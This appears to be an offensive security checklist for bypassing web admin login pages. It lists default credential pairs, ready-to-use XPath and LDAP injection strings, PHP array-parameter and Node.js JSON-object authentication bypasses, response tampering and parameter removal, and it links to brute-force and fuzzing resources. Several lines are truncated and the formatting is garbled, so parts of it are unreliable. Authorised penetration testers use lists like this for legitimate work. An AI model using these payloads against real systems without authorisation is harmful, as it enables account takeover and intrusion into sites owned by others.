🚨Admin Panel Bypass Checklist🚨

[ ] defualt credentials defualt credentials

```
admin:admin
admin:password
author:author
administrator:password
admin123:password
username:pass12345
and many of defualt credentials
```

[ ] Bypass by SQL Injection

```
inject username or paswword with a lot of payloads:
=> error based
=> time  based
```

[ ] By Cross Site Scripting(XSS)

```
inject username or password with xss payloads:
=> url encode
=> base64 encode
```

[ ] By Manipulating the Response

```
change the status of response from
200 => 302
failed => success
error => success
403 => 200
403 => 302
false => true
```

[ ] Bypass by Brute Force Attack

```
https://medium.com/@uttamgupta_/1-how-to-perform-login-brute-force-using-burp-suite-9d06b67fb53d
https://medium.com/@uttamgupta_/broken-brute-force-protection-ip-block-aae835895a74
```

[ ] Bypass by Directory Fuzzing Attack

```
use this list to fuzz
https://github.com/six2dez/OneListForAll
```

[ ] By Removing Parameter in Request

```
When you enter wrong credentials the site shows error like username and password is incorrect/doe
password is incorrect for this username etc,
this type of response is shown by the site so can try this method Huh.
First you intercept the request and remove the password parameter in the request and forward the
```

Then the server sees that the username is available `and` logs you `in` `to` the site.
This problem occurs when the server does `not` analyze the request properly

[ ] check js file in login page

it can `contain` a important path `or` username `and` password

[ ] Check for comments inside the page

it can `contain` a important info such `as` username `and` password

[ ] Check the PHP comparisons error:

user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b

[ ] Change content type to json and send json values (bool true included)

If you get a response saying that POST is `not` supported you can `try` to send `the` JSON `in` `the` body

[ ] Check nodejs potential parsing error

1. Nodejs will `transform` that payload `to` a query `similar` `to` `the` `following` one: `SELECT` id, usernam
2. `If` you can send a `JSON object` you can send "password":{"password": 1} `to` bypass the `login`.
3. Remember that `to` bypass this `login` you still need `to` know `and` send a `valid` username.
4. Adding "stringifyObjects":`true option` `when` calling mysql.createConnection will eventually bloc

[ ] No SQL Injection

https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass

[ ] XPath Injection

```
' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2
```

[ ] LDAP Injection

```
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
```

[ ] Authorization

https://www.securify.nl/en/advisory/authorization-bypass-in-infinitewp-admin-panel/